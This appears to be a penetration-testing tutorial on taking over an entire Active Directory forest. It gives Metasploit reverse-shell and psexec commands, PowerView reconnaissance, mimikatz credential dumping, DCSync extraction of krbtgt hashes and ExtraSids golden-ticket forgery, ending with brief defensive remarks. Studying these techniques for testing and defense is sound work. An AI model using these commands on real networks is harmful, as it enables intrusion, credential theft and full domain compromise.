The Forest Is Under Control. Taking over the entire Active Directory forest

Active Directory is a phenomenon that comes about quite often during the security testing of large companies. It is all too common to come across not a single domain in a single forest, but rather a more interesting structure with more branches. So today we are going to focus on how to perform reconnaissance and study forest structures. We will also look at possibilities for increasing privileges. Then we will conclude by compromising an enterprise's entire forest!

The subject of today's discussion

It's no secret that many, if not the majority, of large companies use Active Directory catalog services from the well-known MS. The reason is rather evident.
This approach helps automate a number of things, integrate everything into one coherent structure, and make life easier for both the IT team and the rest of the staff.
As a rule, if the institution is rather large, as it grows it can acquire other (smaller) companies, initiate mergers, expansions, and enjoy other benefits of being a large business. All of that is reflected on the structure of the AD forest, which gets new trees and grows in size and nature. It's exactly this branched structure that is our focus today. As per tradition, we will begin with a short theoretical introduction.

In the deep AD forests

Let's quickly run through the key concepts of an Active Directory that we will return to time and again in what is to follow. Let's start from the smallest structural unit of an AD – the domain.

Domain is a logical group (of users, hosts, servers, etc.) that supports centralized administration.

Tree is a set of domains that use a common name space (similarly to a regular DNS). It is important that the subdomain automatically receives a dual-sided trust relationship with the parent domain.

Trust is an agreement of sorts between two domains that sets access permissions to certain objects or resources.

In turn, the forest is the largest structure in the Active Directory composed of all the trees. As a result, all trees in the forest are usually linked by dual-sided trust relationships, which allow users in any tree to get access to resources in any other tree if they have the corresponding permissions and rights.

By default, the first domain, created in the forest, automatically becomes its root domain.

Now that the theory is clear, we can now proceed to the practical part; so let's begin. We can assume that basic access with a few user privileges has already been granted. We can also presume that social engineering has yielded its fruit, and somebody has already opened the document contained in the specially prepared letter that we sent (with the attached document, for instance), and in return we got back the shell.

Checking the ammunition

Before we head off to battle, it's advisable to first check our tool kit to see what we can use. PowerShell is currently the most convenient tool to research the Windows environment. Why? Well, because it's installed everywhere (starting from Windows 7/2008R2), it lets regular users work and execute various commandlets, and it's deeply integrated in the OS.

The default policy, which prohibits the execution of third-party (unsigned) PowerShell scripts, is not an adequate means of protection. It simply protects against accidental launches by double-clicking and is easily bypassed. PowerShell is essentially an entire framework for the post-use of Windows. Naturally, for this reason it has already been being used by pentesters for several years, and a lot of different modules (scripts) that help automate actions have been created.

We will only use one of these modules, PowerView, which is part of the [PowerTools] set ( It was initially developed as part of the infamous Veil project, but now recently after the release of the impressive PowerShell Empire framework (which evolves rather dynamically and deserves its own separate article) was moved and is now a subproject of the PS Empire.

PowerView is at once a replacement for all console "net*" commands in Windows and an AD research tool. It should be noted separately that most options are available with regular user rights.

Proceeding to the starting position

I should remind readers that we have basic access and, for purposes of simplicity, we will consider that we have a Meterpreter shell with regular domain user rights. This year, working with PS in Metasploit has become significantly more user-friendly and several specialized payloads have popped up that we are going to be using. In order to not lose the current session, let's create a new one by using the payload_inject mechanism.

To do this, let's execute:

msf > use exploit/windows/local/payload_inject

We select, of course, powershell as the payload:

msf exploit(payload_inject) > set PAYLOAD windows/powershell_reverse_tcp

Now here we can indicate the module that needs to be imported if the launch is successful:

msf exploit(payload_inject) > set LOAD_MODULES

I will also note that if you want to give the full address to GitHub, then in our case PowerView will be downloaded by the victim directly from the attacker's host.

As the final touch we need to indicate the number of the currently available session:

msf exploit(payload_inject) > set SESSION 1

Launch for execution (result on fig. 1).

Fig. 1. PowerShell session

Fig. 1. PowerShell session

Situational awareness

Now that we have the interactive PowerShell we can study the situation in more detail. First off we need the two following commands:

  • Get-NetForestDomain — reveals all domains in the forest (fig. 2);
  • Get-NetDomainTrust — reveals the trust relationships of the domain we are in now (fig. 3).

Fig. 2. A fragment of the Get-NetForestDomain roll-out

Fig. 2. A fragment of the Get-NetForestDomain roll-out

Fig. 3. Get-NetDomainTrust results

Fig. 3. Get-NetDomainTrust results

As our forest is quite large and the domain list we obtained doesn't clearly reveal its structure, we might try and create a clear-cut visual map.

To do this, let's first save the map of trust relationships in a CSV file:

Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv

This commandlet at first studies the current domain and then it makes a recursive run through every trust relationship with each domain it can reach.
The result is saved in a CSV file where every domain and relationship is described. Then we can get the file (or its text content) in any way most convenient for us.

Now we need the DomainTrustExplorer script. Let's launch it and transfer the CSV file as a parameter:

python trusts.csv

We get back an unusual type of shell; all commands can be seen by typing in help. We are interested in its most useful feature, or the ability to save the collected data as a GraphML. It runs with a single command:

TrustExplore> graphml_dump


As a result we get a file called trusts.csv.graphml, and this format can be opened in the yEd free editor. However, some actions need to be executed here in order to obtain a pleasing diagram. After opening the ".graphml" file, we need to immediately proceed to Edit -> Properties Mapper. We will then see a settings window where we need to select New Configuration (Node) on the left and then press the green plus button on the right (see fig. 4)

Fig. 4. yEd settings

Fig. 4. yEd settings

Press the Apply button and select the New Configuration (Edge) section in the same window; using the same procedure now we need to add a new entry by pressing the green plus button on the right (see fig. 5).

Fig. 5. yEd settings, continued

Fig. 5. yEd settings, continued

Press Apply again and then OK to close the window. The last step is to go to the Tools -> Fit Node to Label menu. Now we can select any mode we like in the Layout menu, for instance Hierarchical or Tree. With each and every change the diagram is readjusted automatically. In our case we end up with fig. 6.

Fig. 6. AD scheme

Fig. 6. AD scheme

The diagram gives a clear view of the entire forest. I will remind you now that we have domain user privileges in the DEV.HIGH-SEC-CORP.LOCAL domain. From here on out we will be using made-up domain and subdomain names, so all coincidences are accidental. Now we have at our disposal a graphical map of the forest and information about trust relationships. Our target is the root of the forest, so it is high time to start elevating our privileges little by little.


Red vs Blue: "Modern Active Directory Attacks & Defense" is the most remarkable report on AD attacks given recently, and was presented by Sean Metcalf at DerbyCon this year.

Video of the presentation

The enemy's manpower

Because we have our current PowerShell session (with the imported PowerView module), we can perform detailed research on domain groups and domain users.

Let's take a look at who is in the group of domain administrators in our current domain:

Get-NetGroup -Domain "dev.high-sec-corp.local" -GroupName "Domain Admins" -FullData

member: {
  CN=john smedley,CN=Users,DC=dev,DC=high-sec-corp,DC=local,

Here we see some "john". Detailed information about the domain user can be obtained by using another commandlet:

Get-NetUser -UserName *john*

Having learned about our victim, we can also try to track his traces in our domain:

Invoke-UserHunter -Domain "dev.high-sec-corp.local" -UserName john

UserDomain : dev.high-sec-corp.local
UserName : john
ComputerName :
IP :
SessionFrom :

What happened when we did that? The Invoke-UserHunter function is designed to search for users within the domain. This launches Get-NetSessions and Get-NetLoggedon against each server (by using the special API functions NetSessionEnum and NetWkstaUserEnum) and compares the results to the usernames indicated when it was launched.
It is a very convenient tool that works fairly accurately and (to repeat myself again) with regular domain user rights.

So that means now we have found where the domain administrator is.

Launching an assault

The local administrator account is required for further actions, but there are numerous ways to elevate privileges to the level of local administrator. Some options include GPP, Unattended Installations and LDAP relay attacks using the all-important Intercepter-NG utility, and many more.

So we are going to now assume we've received the local administrator's account (support1:megAPa$$). The simplest thing we can do next is try to gain access to the host where the domain administrator is logged in. To accomplish this let's use the "psexec", module which is part of Metasploit.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST
msf exploit(psexec) > set SMBUSER support1
msf exploit(psexec) > set SMBPASS megAPa$$
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST
msf exploit(psexec) > set LPORT 8080

There's just one little thing we need to keep in mind: we don't see the victim directly (they are usually behind NAT), so before launching "psexec" we need to add a route in the victim's network:

msf exploit(psexec) > route add 1

The last value is the number of the session that will be used to redirect traffic. Now we can finally launch:

msf exploit(psexec) > exploit

As a result, we get the shell with NT System rights straight away.

Taking prisoners

Now with a new shell available, it would be smart to utilize the abilities of the much appreciated "mimikatz" utility. To do this let's first check the bitness of the OS:

meterpreter > sysinfo

In my case it's x64. Now let's select any relevant x64 process.

meterpreter > ps

And migrate there:

meterpreter > migrate 460

You could also use LSASS or winlogon, for example. Now let's upload the module (in the victim's memory):

meterpreter > load kiwi

And look for the "john" account:

meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
DEV john daPa$$w0rd

If successful, we get the password of the domain administrator for our current DEV domain.

Taking over the fortified zone

For small companies, this is where the work usually stops. But for us, we're only just getting warmed up. Now we will need the full version of "mimikatz" (Metasploit has decent functionality, but it often lags behind the new features of the main version). The fact is that they recently added a new feature in "mimikatz" called DCSync.

Earlier, as we can recall, in order to extract hashes from the domain controller, users had to either gain access to it (more precisely, to the NTDS.dit base) or to the current backup copy. However, the author of "mimikatz" then added an interesting function that can obtain the data we're interested in remotely. A request is sent to the domain controller to replicate the user's credentials using the Directory Replication Service (DRS), hence the feature's name. These activities naturally require high privileges, but then again we do have the domain administrator's password.

So now we launch it (you could perhaps migrate to the explorer.exe process owned by this "john" user and then launch "cmd" with a shell command).

mimikatz # lsadump::dcsync /user:DEV\krbtgt
[DC] 'dev.high-sec-corp.local' will be the domain
[DC] '' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
SAM Username : krbtgt
Password last change : 10.10.2015 17:53:13
Object Security ID : S-1-5-21-3576879279-70744307-2249533442-502
Hash NTLM: 1a3671958abf785fe7b32eaaa20b9020

So we got the hash for "krbtgt." The thing here is that the KDC (Kerberos Distribution Center) service that processes all tickets launches at each individual domain controller. In addition, the "krbtgt" local default account is used as a service account. This exact account is the one used for the encryption and signature of all Kerberos tickets in a particular domain. For many administrators, "krbtgt" has a special mystical aura and they simply try to avoid touching it.

In most cases, this account therefore never changes starting the moment AD is established. If this hash finds its way into an intruder's hands, you might as well give up all hope. They will be able to create their own Kerberos "golden tickets" without so much as breaking a sweat. These tickets give attackers access to anything that works on Kerberos; they don't even have to be participants of the domain. So the "krbtgt" account is the master key to Kerberos in any domain; having possession of its hash lets the user control the entire domain and write out Kerberos tickets for themselves with any authority over a long period of time (ten years).

Full control over the forest

After the subdomain has been compromised the last frontier is the very root of the forest. Here we need "mimikatz" again and another feature called ExtraSids. This feature lets users indicate additional SID values from other domains as the golden ticket is being generated. In this case, the ExtraSids value is set in the KERB_VALIDATION_INFO structure during the formation of a Kerberos ticket. The idea behind all this is that the compromise of any subdomain in the forest entails a compromise of the parent domain, which therefore means a compromise of the entire forest.

To see this attack through to completion, we will need:

  • the "krbtgt" hash for the DEV subdomain (which we already have);
  • the SID of the DEV domain (which we received in the same output with "krbtgt");
  • an additional or extra SID of the enterprise's administrators group (which is easily obtained).

So let's go after this missing fragment by again using PowerShell and the PowerView module:

Convert-NameToSid high-sec-corp.local\krbtgt

Here we need to replace "-502" with "-519" to get the SID of the Enterprise Admins group for the root domain. With all the data we get back let's execute the following construction:

Fig. 7. mimikatz ExtraSIDs

Fig. 7. mimikatz ExtraSIDs

Let's now check the results of our actions.


C:\Users\john>dir \\PRIMARY-DC.high-sec-corp.local\C$
Access is denied.


C:\Users\john>dir \\PRIMARY-DC.high-sec-corp.local\C$
Volume in drive \\PRIMARY-DC.high-sec-corp.local\C$ has no label.
Volume Serial Number is E478-32C1

Directory of \\PRIMARY-DC.high-sec-corp.local\C$

The final shot

After we received and used the ticket with the extraSID we can apply the DCSync technique we already discussed to obtain hashes from the root domain. However, there is just one little difference here: since we decided to make a strike at another domain, in addition to "user" parameter we also need to indicate the root domain.

The command for "mimikatz" is as follows:

mimikatz # lsadump::dcsync

If the root domain relies on several controllers, you can add /dc:, indicating the full name (FQDN) of the controller. As a result, we get the krbtgt hash from the root domain controller. This means that from now on the entire forest is compromised and the attacker can create practically any Kerberos tickets.


This is arguably the best resource to reveal all the aspects of protection and vulnerability of the AD — The author of this blog, Sean Metcalf, is concerned with both protection and security issues related to the AD at large enterprises.


At the start of the Active Directory's existence, domains were considered to be its safety boundaries. Administrators of a single forest didn't have to trust each other at all and could be divided up into domains. But with time the situation changed, and in the beginning of the 2000s different vulnerabilities started cropping up that affected the AD (for instance, MS02-001). As a result, the Active Directory's safety boundaries moved from domain to forest. Although it would be highly erroneous to believe that each individual domain is a safety boundary, this conception is rather popular in reality.

The protection of a large AD forest is a complex and challenging task that encompasses myriad details. The idea revolves around the constant monitoring of both logs and network activity; now it's about smart policies and so much more. Even with all things considered, one should never forget that the compromise of a single domain administrator, and therefore any individual domain, could compromise the entire forest.

One Response to “The Forest Is Under Control. Taking over the entire Active Directory forest”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>